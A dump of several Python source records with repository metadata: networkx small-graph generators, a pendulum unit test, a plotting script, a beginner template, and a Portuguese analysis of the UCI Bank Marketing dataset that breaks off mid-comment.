G.add_edges_from([[4,5],[4,7],[4,6]])\n    G.name=\"Sedgewick Maze\"\n    return G\n\ndef tetrahedral_graph(create_using=None):\n    \"\"\" Return the 3-regular Platonic Tetrahedral graph.\"\"\"\n    G=complete_graph(4, create_using)\n    G.name=\"Platonic Tetrahedral graph\"\n    return G\n\ndef truncated_cube_graph(create_using=None):\n    \"\"\"Return the skeleton of the truncated cube.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Truncated Cube Graph\",\n        24,\n        [[2,3,5],[12,15],[4,5],[7,9],\n         [6],[17,19],[8,9],[11,13],\n         [10],[18,21],[12,13],[15],\n         [14],[22,23],[16],[20,24],\n         [18,19],[21],[20],[24],\n         [22],[23],[24],[]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef truncated_tetrahedron_graph(create_using=None):\n    \"\"\"Return the skeleton of the truncated Platonic tetrahedron.\"\"\"\n    G=path_graph(12, create_using)\n#    G.add_edges_from([(1,3),(1,10),(2,7),(4,12),(5,12),(6,8),(9,11)])\n    G.add_edges_from([(0,2),(0,9),(1,6),(3,11),(4,11),(5,7),(8,10)])\n    G.name=\"Truncated Tetrahedron Graph\"\n    return G\n\ndef tutte_graph(create_using=None):\n    \"\"\"Return the Tutte graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Tutte's Graph\",\n        46,\n        [[2,3,4],[5,27],[11,12],[19,20],[6,34],\n         [7,30],[8,28],[9,15],[10,39],[11,38],\n         [40],[13,40],[14,36],[15,16],[35],\n         [17,23],[18,45],[19,44],[46],[21,46],\n         [22,42],[23,24],[41],[25,28],[26,33],\n         [27,32],[34],[29],[30,33],[31],\n         [32,34],[33],[],[],[36,39],\n         [37],[38,40],[39],[],[],\n         [42,45],[43],[44,46],[45],[],[]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\n", "meta": {"hexsha": "f41f8d0f06746b5fdef52132b7b68ef33aa0028e", "size": 12861, "ext": "py", "lang": "Python", "max_stars_repo_path": "networkx/generators/small.py", "max_stars_repo_name": "tempcyc/networkx", "max_stars_repo_head_hexsha": "cae83ba501c242567cb2454f97f851898276f06e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2015-03-25T20:20:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-14T19:44:56.000Z", "max_issues_repo_path": "networkx/generators/small.py", "max_issues_repo_name": "tempcyc/networkx", "max_issues_repo_head_hexsha": "cae83ba501c242567cb2454f97f851898276f06e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 71, "max_issues_repo_issues_event_min_datetime": "2015-01-05T16:50:55.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-30T19:17:47.000Z", "max_forks_repo_path": "networkx/generators/small.py", "max_forks_repo_name": "tempcyc/networkx", "max_forks_repo_head_hexsha": "cae83ba501c242567cb2454f97f851898276f06e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2015-02-15T22:19:18.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-30T18:54:54.000Z", "avg_line_length": 31.1404358354, "max_line_length": 92, "alphanum_fraction": 0.5896897597, "include": true, "reason": "import networkx,from networkx", "num_tokens": 3759, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.10669060246682488, "lm_q1q2_score": 0.05251184872707505}}
{"text": "import nose.tools as nt       # Using nosetests\nimport numpy as np\nfrom pendulum import Pendulum\n\n\ndef test_special_method_call_in_Pendulum_class():\n    \"\"\"Tests that theta and omega is computed correctly.\"\"\"\n    # Test values\n    theta    = np.pi/4 # Angular position of the pendulum\n    omega    = 0.1     # Angular velocity of the pendulum\n    analytic = [0.1, -3.1530534197454685]\n    eps      = 10**(-7)\n\n    pendel   = Pendulum(L=2.2)\n    computed = pendel(0,[theta,omega])\n\n    assert(abs(computed[0] - analytic[0]) < eps)\n    assert(abs(computed[1] - analytic[1]) < eps)\n\n\ndef test_special_method_call_in_Pendulum_class_keeps_a_peldelum_at_rest():\n    \"\"\"Tests that the pendulum is kept at rest.\"\"\"\n    # Test values\n    theta0   = 0\n    omega0   = 0\n    analytic = [0, 0]\n    eps      = 10**(-7)\n\n    pendel   = Pendulum()\n    computed = pendel(0,[theta0,omega0])\n\n    assert(abs(computed[0] - analytic[0]) < eps)\n    assert(abs(computed[1] - analytic[1]) < eps)\n\n\n@nt.raises(AttributeError)\ndef test_error_if_solve_method_has_not_been_called():\n    \"\"\"\n    Test that the solve method has been called. Error raised if attributes dont exist.\n    \"\"\"\n    pendel = Pendulum()\n    theta  = pendel.theta\n    omega  = pendel.omega\n    time   = pendel.t\n\n\ndef test_only_the_latest_solution_is_stored():\n    \"\"\"Tests that latest solution overwrites previous ones.\"\"\"\n    y0_1 = [0, 0]\n    T_1  = 5\n    dt_1 = 0.1\n\n    y0_2 = [2, 3]\n    T_2  = 15\n    dt_2 = 0.01\n\n    y0_3 = [1, 4]\n    T_3  = 10\n    dt_3 = 0.05\n\n    pendel = Pendulum()\n    pendel.solve(y0_1, T_1, dt_1)\n    len_1 = len(pendel.t) #store previous length\n    pendel.solve(y0_2, T_2, dt_2)\n    len_2 = len(pendel.t) #store previous length\n    pendel.solve(y0_3, T_3, dt_3)\n    #Check length of t\n    assert(len(pendel.t) != len_1)\n    assert(len(pendel.t) != len_2)\n\n    pendel2 = Pendulum()\n    pendel2.solve(y0_3, T_3, dt_3)\n    # Solve pendel2 for case #3 only\n    # Check so that pendel is the latest solution\n    for i in range(len(pendel.x)):\n        assert(pendel.x[i] == pendel2.x[i])\n        assert(pendel.y[i] == pendel2.y[i])\n\n\ndef test_solve_method_in_Pendulum_class_theta_omega_zero_arrays():\n    \"\"\"\n    Test solve method keeps pendulum at rest for initial y0=[0,0] while t=i*dt.\n    \"\"\"\n    y0 = [0, 0]\n    T  = 5\n    dt = 0.1\n\n    pendel = Pendulum()\n    pendel.solve(y0, T, dt)\n\n    for i in range(len(pendel.t)):\n        assert(pendel.t[i]     == i*pendel.dt)\n        assert(pendel.theta[i] == 0)\n        assert(pendel.omega[i] == 0)\n\n\ndef test_x_and_y_positions_are_correct():\n    \"\"\"\n    Tests that x and y position is computed correctly by testing x^2 + y^2 = L^2.\n    \"\"\"\n    y0  = [2, 3]\n    T   = 15\n    dt  = 0.01\n    eps = 10**(-7)\n\n    pendel = Pendulum(L=2)\n    pendel.solve(y0, T, dt)\n    sol = pendel.solution\n\n    array_of_L = np.zeros(len(sol.y[0])) + (pendel.L**2)\n    computed_radius_squared = pendel.x**2 + pendel.y**2\n    for i in range(len(sol.y[0])):\n        assert(abs(computed_radius_squared[i] - array_of_L[i]) < eps)\n\nif __name__ == \"__main__\":\n    import nose\n    nose.run()\n", "meta": {"hexsha": "57d0d671131dc48672f3fe73cfd6845b0c5e9659", "size": 3082, "ext": "py", "lang": "Python", "max_stars_repo_path": "Project_1/test_pendulum.py", "max_stars_repo_name": "eugene-UiO/IN1910", "max_stars_repo_head_hexsha": "a8dbc78ba36b2881ad4790d05c8a4ae0ad762128", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Project_1/test_pendulum.py", "max_issues_repo_name": "eugene-UiO/IN1910", "max_issues_repo_head_hexsha": "a8dbc78ba36b2881ad4790d05c8a4ae0ad762128", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-12T12:07:55.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-12T12:07:55.000Z", "max_forks_repo_path": "Project_1/test_pendulum.py", "max_forks_repo_name": "henrik-uio/IN1910", "max_forks_repo_head_hexsha": "a8dbc78ba36b2881ad4790d05c8a4ae0ad762128", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.1186440678, "max_line_length": 86, "alphanum_fraction": 0.6158338741, "include": true, "reason": "import numpy", "num_tokens": 1015, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.10669059678604235, "lm_q1q2_score": 0.05251184593106129}}
{"text": "from matplotlib.pyplot import figure, plot, savefig, title, xlabel, ylabel\nfrom numpy import genfromtxt, linspace\nfrom sys import argv\n\ninput_file = str(argv[1])\noutput_file = str(argv[2])\n\ndata = genfromtxt(input_file, delimiter=',')\nx = data[0]\nsol = data[1]\n\nfig = figure()\ntitle('Solution')\nplot(x, sol, '-')\nxlabel('x')\nylabel('sol')\nsavefig(output_file)\n\nprint('Generated ' + output_file)\n", "meta": {"hexsha": "d6ab0c032cbf7bcd5117914fbd749138cace937e", "size": 395, "ext": "py", "lang": "Python", "max_stars_repo_path": "homeworks/FluxLimitedFV/templates/plot_sol.py", "max_stars_repo_name": "kryo4096/NPDECODES", "max_stars_repo_head_hexsha": "3498c0e4abec6ba21447849ba2ddc9286c068ea1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2019-04-29T11:28:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T05:10:58.000Z", "max_issues_repo_path": "homeworks/FluxLimitedFV/templates/plot_sol.py", "max_issues_repo_name": "kryo4096/NPDECODES", "max_issues_repo_head_hexsha": "3498c0e4abec6ba21447849ba2ddc9286c068ea1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2020-02-29T15:05:58.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-21T13:51:07.000Z", "max_forks_repo_path": "homeworks/FluxLimitedFV/templates/plot_sol.py", "max_forks_repo_name": "kryo4096/NPDECODES", "max_forks_repo_head_hexsha": "3498c0e4abec6ba21447849ba2ddc9286c068ea1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 26, "max_forks_repo_forks_event_min_datetime": "2020-01-09T15:59:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T16:27:33.000Z", "avg_line_length": 19.75, "max_line_length": 74, "alphanum_fraction": 0.7164556962, "include": true, "reason": "from numpy", "num_tokens": 105, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.05249851932230987}}
{"text": "\"\"\"Import statements tell python what packages you'll be using.\n\nYou can use 'as' to change how you refer to the package. In this file,\nI import matplotlib.pyplot as plt so I don't have to type out\n'matplotlib.pyplot' every time I want to use it.\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n###############################################################################\n\"\"\"After the import statements, I define function(s).\nFunction definitions start with the word 'def' and end when\nthe indentation ends. For example:\n\n\ndef ex1():\n    print(\"This line is part of the function 'ex1' because it's indented\")\n    print(\"This line is still part of the function 'ex1'\")\n    print(\"Blank lines do not end the current level of indentation\")\n\nprint(\"This line is not part of the function 'ex1' because it's not indented\")\n\n\n\"\"\"\n\n\n###############################################################################\n# These next lines 'call' the functions defined above.\n# If you erase the lines below (or put a # in front of them) this code won't\n# 'do' anything (it won't generate a graph anymore.)\n", "meta": {"hexsha": "9216f057ffe72aaf7def1a02a023f3faf77ab92e", "size": 1121, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/Projects/project5/project5.backup.py", "max_stars_repo_name": "mzurzolo/STBS", "max_stars_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python/Projects/project5/project5.backup.py", "max_issues_repo_name": "mzurzolo/STBS", "max_issues_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-03-24T17:26:36.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-02T22:06:46.000Z", "max_forks_repo_path": "Python/Projects/scripts/template/project.backup.py", "max_forks_repo_name": "mzurzolo/STBS", "max_forks_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.03125, "max_line_length": 79, "alphanum_fraction": 0.6271186441, "include": true, "reason": "import numpy", "num_tokens": 232, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.25683199138751883, "lm_q2_score": 0.20434190478229486, "lm_q1q2_score": 0.052481538329155544}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# # Desafio Data Science \n\n# O desafio proposto requer a an\u00e1lise do banco de dados **Bank Marketing**,\n#  obtido no site [UCI Machine Learning Repository]\n# (https://archive.ics.uci.edu/ml/datasets/bank+marketing). O arquivo \n# utilizado na an\u00e1lise dos dados foi  o [bank.zip]\n# (https://archive.ics.uci.edu/ml/machine-learning-databases/00222/bank.zip).\n\n# O desenvolvimento do desafio foi feito utilizando a linguagem de programa\u00e7\u00e3o\n# Python. Para apresenta\u00e7\u00e3o e discuss\u00e3o dos resultados obtidos foi utilizado o\n# Jupyter Notebook, `desafio.ipynb`, que possui uma vers\u00e3o em `PDF` no\n# arquivo `desafio.pdf`. \n\n# Tem-se tamb\u00e9m um c\u00f3digo em Python, `desafio.py`, que gera os gr\u00e1ficos\n# apresentados no arquivo `desafio.ipynb` e os salva no diret\u00f3rio\n# `./imagens/`. O diret\u00f3rio `./data/` cont\u00e9m o banco de dados.\n\n# As bibliotecas externas utilizadas nesse trabalho foram:\n\n# * Pandas;\n# * Numpy;\n# * Scikit-learn;\n# * Scipy;\n# * Matplotlib.\n\n# As vers\u00f5es de cada biblioteca utilizada podem ser obtidas no arquivo\n# `requirements.txt`\n\n# # Descri\u00e7\u00e3o do banco de dados\n# \n# O banco de dados [bank.zip]\n# (https://archive.ics.uci.edu/ml/machine-learning-databases/00222/bank.zip)\n# possui as seguintes caracter\u00edsicas:\n# \n# * \u00c1rea: Neg\u00f3cios;\n# * N\u00famero de atributos: 17;\n# * N\u00famero de amostras: 45211;\n# * Tipos de vari\u00e1veis: categ\u00f3rica, bin\u00e1ria e inteiro;\n# \n# O banco de dados est\u00e1 relacionado a uma capanha de marketing, baseada em\n# liga\u00e7\u00f5es, de um banco portugu\u00eas. Os atributos do banco de dados incluem\n# dados pessoais dos clientes do banco como:\n# \n# * Idade - *inteiro*;\n# * Trabalho - *categ\u00f3rica*;\n# * Estado civil - *categ\u00f3rica*;\n# * Escolaridade - *categ\u00f3rica*;\n# * D\u00edvidas - *categ\u00f3rica*;\n# * Empr\u00e9stimo imobili\u00e1rio - *categ\u00f3rica*;\n# * Empr\u00e9stimo - *categ\u00f3rica*.\n# \n# Al\u00e9m desses dados, tem-se tamb\u00e9m os dados e resultados da campanha de\n# marketing atual como:\n# \n# * Forma de contato - *categ\u00f3rica*;\n# * M\u00eas do \u00faltimo contato - *categ\u00f3rica*;\n# * Dia da semana do contato - *categ\u00f3rica*;\n# * Dura\u00e7\u00e3o da liga\u00e7\u00e3o - *inteiro*;\n# * N\u00famero de contatos - *inteiro*;\n# * Intervalo do contato entre campanhas - *inteiro*;\n# * Resultado da capanha - *bin\u00e1ria*.\n# \n# Por fim, tem-se duas informa\u00e7\u00f5es da camapanha anterior como:\n# \n# * Resultado da capanha - *categ\u00f3rica*;\n# * N\u00famero de contatos - *inteiro*.\n# \n\n# # Quest\u00f5es\n# \n# O desafio proposto \u00e9 composto por 6 quest\u00f5es. Os c\u00f3digos utilizados para o\n# obter o resultados de cada quest\u00e3o s\u00e3o apresentados juntamente com as\n# quest\u00f5es. \n# \n# ## Obtendo e organizando o banco de dados\n# \n# Antes do desenvolvimento das quest\u00f5es \u00e9 necess\u00e1rio importar as bibliotecas\n# relevantes, baixar, organizar e preprocessar os dados para fazer as an\u00e1lises,\n# estes procedimentos s\u00e3o executados abaixo.\n\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as st\nimport urllib.request as ur\nimport sklearn.feature_selection as fs\nfrom zipfile import ZipFile\n\nimport matplotlib\nmatplotlib.use('Agg')  # Renderiza\u00e7\u00e3o em ambientes 'headless'\nimport matplotlib.pyplot as plt\n\n\n# Armazenameno dos gr\u00e1ficos\npath_img = os.path.relpath(os.getcwd())\npath_img = os.path.join(path_img, 'images')\nif not os.path.exists(path_img):\n    os.mkdir(path_img)\n\n# Especifica\u00e7\u00f5es do banco de dados.\nurl = \\\n    'https://archive.ics.uci.edu/ml/machine-learning-databases/00222/bank.zip'\ndataset = 'bank-full.csv'\n\n# Armazenamento do banco de dados\npath_ext = 'data'\nfile = 'data.zip'\n\npath_data = os.path.relpath(os.getcwd())\npath_data = os.path.join(path_data, path_ext)\npath_file = os.path.join(path_data, file)\n\nif not os.path.exists(path_data):\n    os.mkdir(path_data)\n\nur.urlretrieve(url, path_file)\nwith ZipFile(path_file) as zfile:\n    zfile.extractall(path_data)\n\n# Importar o banco de dados como um Dataframe Pandas\ndf = pd.read_csv(os.path.join(path_data, dataset), ';')\n\nif df.isnull().values.any():\n    print('Removendo linhas com NaN.')\n    df = df.dropna()\n\n# Converte as colunas do tipo 'object' para 'categorical'\ndf_obj = df.select_dtypes(include=['object'])\nfor col in df_obj.columns:\n    df[col] = df[col].astype('category')\n\n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 1 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 1\n# \n# Quest\u00e3o: *Qual profiss\u00e3o tem mais tend\u00eancia a fazer um empr\u00e9stimo? De qual\n# tipo?*\n# \n# Nesta quest\u00e3o foi considerado como empr\u00e9stimo tanto o empr\u00e9stimo imobili\u00e1rio\n# quanto o empr\u00e9stimo. Primeiramente, obteve-se o percentual de pessoas que\n# t\u00eam qualquer tipo de empr\u00e9stimo por profiss\u00e3o. Este resultado \u00e9 apresentdo\n# no gr\u00e1fico abaixo.\n\n# Colunas para an\u00e1lise\ncols = ['housing', 'loan']\n\n# Obt\u00eam-se a ocorr\u00eancias de empr\u00e9stimo por profiss\u00e3o\nmsk = (df[cols] == 'yes').sum(axis=1) > 0\nloan_y = df['job'][msk]\nloan_n = df['job'][~msk]\n\njobs = df['job'].value_counts()\nloan_y = loan_y.value_counts()\nloan_n = loan_n.value_counts()\n\n# Normaliza-se os dados\nidx = jobs.index\nloan_yn = loan_y[idx] / jobs\nloan_nn = loan_n[idx] / jobs\n\n# Organiza-se os dados\nloan_yn = loan_yn.sort_values(ascending=False)*100\nidx = loan_yn.index\nloan_nn = loan_nn[idx]*100\n\nloan_y = loan_y[idx]\nloan_n = loan_n[idx]\n\n# Gera-se o gr\u00e1fico\ntitle = 'Empr\u00e9stimos por profiss\u00e3o'\nfilename = 'bar_chart_loan_housing.png'\nplt.bar(loan_yn.index, loan_yn)\nplt.bar(loan_nn.index, loan_nn, bottom=loan_yn)\nplt.grid(True, alpha=0.5)\nplt.legend(['Possui', 'N\u00e3o possui'])\nplt.xticks(rotation=45, ha='right')\nplt.xlabel('Profiss\u00e3o')\nplt.ylabel('Percentual (%)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Como pode-se observar a profiss\u00e3o que tem a maior tend\u00eancia em fazer\n# empr\u00e9stimo s\u00e3o profissionais colarinho azul (blue-collar). Destes\n# profissionais cerca de 78% possui algum tipo de empr\u00e9stimo. \n# \n# Por fim, obt\u00eam-se o n\u00famero de empr\u00e9stimos de cada tipo dessa profiss\u00e3o.\n\n# Obt\u00eam-se o n\u00famero de cada tipo de empr\u00e9stimo por profiss\u00e3o\nloan_h = df['job'][df['housing'] == 'yes'].value_counts()\nloan_l = df['job'][df['loan'] == 'yes'].value_counts()\n\nprint('N\u00famero de empr\u00e9stimos:')\nprint( 'Imobili\u00e1rio: {}'.format(loan_h[idx[0]]))\nprint( 'Empr\u00e9stimo: {}'.format(loan_l[idx[0]]))\n\n\n# Dessa forma, temos que essa profiss\u00e3o tem tend\u00eancia a fazer empr\u00e9stimos\n# imobili\u00e1rios.\n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 2 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 2\n# \n# Quest\u00e3o: *Fazendo uma rela\u00e7\u00e3o entre n\u00famero de contatos e sucesso da campanha\n# quais s\u00e3o os pontos relevantes a serem observados?*\n# \n# Nesta quest\u00e3o foi considerado o n\u00famero de contatos e o sucesso da campanha\n# atual. O sucesso neste caso foi considerado quando o cliente assina o termo\n# de ades\u00e3o. Assim, para verificar se h\u00e1 uma rela\u00e7\u00e3o entre o n\u00famero de contato\n# e o sucesso na campanha, foi gerado um gr\u00e1fico de barras onde mostra o \n# percentual do sucesso e insucesso para cada n\u00famero de liga\u00e7\u00f5es. O gr\u00e1fico \u00e9\n# mostrado abaixo.\n\n# Obt\u00eam-se o sucesso e o insucesso da campanha por n\u00famero\n# de liga\u00e7\u00f5es\nsuccess = df[df['y'] == 'yes']['campaign']\nfail = df[df['y'] == 'no']['campaign']\n\nn = df['campaign'].value_counts()\nsuccess = success.value_counts()\nfail = fail.value_counts()\n\n# Normaliza-se os dados\nidx = n.index.sort_values()\nn = n[idx]\nsuccess_n = success.reindex(idx, fill_value=0) / n\nfail_n = fail.reindex(idx, fill_value=0) / n\n\nsuccess_n *= 100\nfail_n *= 100\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Sucesso na campanha por n\u00famero de liga\u00e7\u00f5es'\nfilename = 'bar_chart_calls_success.png'\nplt.bar(success_n.index, success_n)\nplt.bar(fail_n.index, fail_n, bottom=success_n)\nplt.grid(True, alpha=0.5)\nplt.legend(['Sucesso', 'Insucesso'])\nplt.xlabel('N\u00famero de liga\u00e7\u00f5es (-)')\nplt.ylabel('Percentual (%)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Como pode-se observar, de forma geral o percentual reduz a medida que o\n# n\u00famero de liga\u00e7\u00f5es aumenta. Al\u00e9m disso, observa-se tamb\u00e9m um aumento do \n# sucesso a medida que o n\u00famero de contato aumenta acima de 20 liga\u00e7\u00f5es. \n# Contudo, nestes casos h\u00e1 apenas uma amostra que resultou em sucesso para \n# cada caso. Portanto, devido ao n\u00famero de amostragem, para esses casos\n# n\u00e3o \u00e9 poss\u00edvel afirmar com certeza se essa tend\u00eancia se repetiriria caso\n# houvesse um maior n\u00famero de amostras.\n# \n# Al\u00e9m disso, observa-se pelo percentual de insucesso que de forma geral n\u00e3o \n# houve sucesso nos casos em que o n\u00famero de contato superou 18 liga\u00e7\u00f5es.\n# Portanto, n\u00e3o justificaria continuar entrando em contato acima desse n\u00famero\n# de liga\u00e7\u00f5es. \n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 3 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 3\n# \n# Quest\u00e3o: *Baseando-se nos resultados de ades\u00e3o desta campanha qual o n\u00famero\n# m\u00e9dio e o m\u00e1ximo de liga\u00e7\u00f5es que voc\u00ea indica para otimizar a ades\u00e3o?*\n# \n# Como an\u00e1lise incial foi feita o histograma cumulativo, apresentado abaixo,\n# entre o n\u00famero de contatos e o sucesso da campanha. Al\u00e9m disso, tamb\u00e9m \u00e9\n# mostrado o n\u00famero m\u00e9dio de liga\u00e7\u00f5es.\n\n# Obt\u00eam-se o sucesso campanha por n\u00famero de liga\u00e7\u00f5es\ncontact = df[df['y'] == 'yes']['campaign']\ncontact_counts = contact.value_counts()\n\nprint('N\u00famero m\u00e9dio de liga\u00e7\u00f5es: {:.2f}'.format(contact.mean()))\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Histograma cumulativo'\nfilename = 'hist_cumu_call_success.png'\nplt.hist(contact, bins=contact_counts.shape[0],\n         cumulative=True, density=1)\nplt.grid(True, alpha=0.5)\nplt.xlabel('N\u00famero de contatos (-)')\nplt.ylabel('Probabilidade de ocorr\u00eancia (-)')\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Pode-se observar no histograma cumulativo que a maior parte dos casos que\n# obtiveram sucesso tiveram um n\u00famero de liga\u00e7\u00f5es inferior a 11 liga\u00e7\u00f5es, que\n# corresponde a 99.11% dos casos. Portanto, indicaria o n\u00famero m\u00e1ximo de 10\n# liga\u00e7\u00f5es. J\u00e1 o n\u00famero m\u00e9dio de liga\u00e7\u00f5es que recomendaria seria de 5\n# liga\u00e7\u00f5es, que corresponde a 95.21% dos casos de sucesso.\n# \n# Contudo, para se obter um n\u00famero de liga\u00e7\u00f5es \u00f3timo, o ideal \u00e9 que se tivesse\n# ao menos o custo referente a cada liga\u00e7\u00e3o e se h\u00e1 uma dura\u00e7\u00e3o da campanha.\n# Assim, seria poss\u00edvel estimar mais precisamente qual seria o n\u00famero de \n# liga\u00e7\u00f5es \u00f3timo. Uma vez que seria considerado o ga dassto e o retorno do \n# poss\u00edvel cliente. Tamb\u00e9m, caso a campanha tenha uma dura\u00e7\u00e3o limitada, o\n# tempo gasto fazer m\u00faltiplas liga\u00e7\u00f5es para um mesmo cliente pode limitar o \n# alcance da campanha, j\u00e1 que poderia-se estar ligando para outros clientes\n# diferentes e obtendo a ades\u00e3o destes.\n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 4 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 4\n# \n# Quest\u00e3o: *O resultado da campanha anterior tem relev\u00e2ncia na campanha atual?*\n# \n# Para analisar se o resultado da campanha anterior tem alguma relev\u00e2ncia na\n# campanha atual, obteve-se os casos em que houve sucesso na campanha anterior \n# e cotrastou-se com os casos que obteve-se sucesso na campanha atual. \n# O resultado \u00e9 mostrado no gr\u00e1fico abaixo.\n\n# Obt\u00eam-se os casos que obtiveram sucesso na campanha anterior\nsuccess_y = df[df['poutcome'] == 'success']['y']\nsuccess_y = success_y.value_counts()\n\n# Normaliza-se os dados\nsuccess_yn = success_y / success_y.sum()\nsuccess_yn *= 100\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Rela\u00e7\u00e3o entre a campanha atual e anteior'\nfilename = 'bar_chart_prev_curr.png'\nbar = plt.bar(success_yn.index, success_yn)\nbar[1].set_color('orange')\nplt.grid(True, alpha=0.5)\nplt.xlabel('Percentual (%)')\nplt.ylabel('Sucesso na campanha atual (-)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Pode-se observar no gr\u00e1fico acima que aproximadamente 65% dos casos em que\n# obteve-se sucesso na campanha anterior tamb\u00e9m se obteve sucesso na campanha\n# atual. Este resultado indica que h\u00e1 uma tend\u00eancia entre clientes que \n# aceitaram uma proposta no passado em aceitar uma nova no futuro. Este\n# resultado portanto pode ser utilizado para otimizar as liga\u00e7\u00f5es em futuras\n# campanhas, priorizando clientes que j\u00e1 aceitaram o servi\u00e7o anteiormente.\n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 5 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 5\n# \n# Quest\u00e3o: *Qual o fator determinante para que o banco exija um seguro de\n# cr\u00e9dito?*\n# \n# Para obter o fator que est\u00e1 mais relacionado a d\u00edvida do cliente e portanto\n# exigir um seguro de cr\u00e9dito, foi selecionado apenas os dados pessoais do\n# cliente. Assim, ser\u00e1 poss\u00edvel obter uma caracter\u00edstica mesmo se n\u00e3o houver\n# dados do cliente referente a campanhas atuais ou anteriores.\n# \n# Ao todo tem-se 7 dados pessoais dos clientes, portanto, para n\u00e3o ter que\n# analisar cada dado separadamente, foi utilizado um *wrapper* que seleciona\n# as caracter\u00edsticas que apresenta os maiores valores *k*, com as fun\u00e7\u00f5es de\n# avalia\u00e7\u00e3o *ANOVA F-value* e *Mutual information*. Nesse caso foi escolhido\n# apenas o maior valor.\n\n# Seleciona-se os dados dos clientes\nclient_data = [\n    'age',\n    'job',\n    'marital',\n    'education',\n    'balance',\n    'housing',\n    'loan',\n]\n\n# Seleciona-se o dado desejado\ntarget_col = ['default']\n\n# Transforma as vari\u00e1veis do tipo 'string' para 'inteiro'\nX = df[client_data].apply(lambda x: (x.cat.codes if x.dtype.name\n                                     is 'category' else x))\nY = df[target_col].apply(lambda x: (x.cat.codes if x.dtype.name\n                                    is 'category' else x))\n\n# Obt\u00eam-se as duas melhores caracter\u00edsticas de cada  fun\u00e7\u00e3o de avalia\u00e7\u00e3o\nX_f_class = fs.SelectKBest(fs.f_classif, k=1).fit(X, Y[target_col[0]])\nX_mutual = fs.SelectKBest(fs.mutual_info_classif, k=1).fit(X, Y[target_col[0]])\n\nf_class = X.columns.values[X_f_class.get_support()][0]\nmutual = X.columns.values[X_mutual.get_support()][0]\n\nprint('ANOVA F-value: {}'.format(f_class))\nprint('Mutual information: {}'.format(mutual))\n\n\n# Apesar das fun\u00e7\u00f5es de avalia\u00e7\u00f5es resultarem e caracter\u00edsticas distintas, a\n# segunda melhor caracter\u00edtica para a fun\u00e7\u00e3o *ANOVA F-value* foi tamb\u00e9m o\n# saldo do cliente. 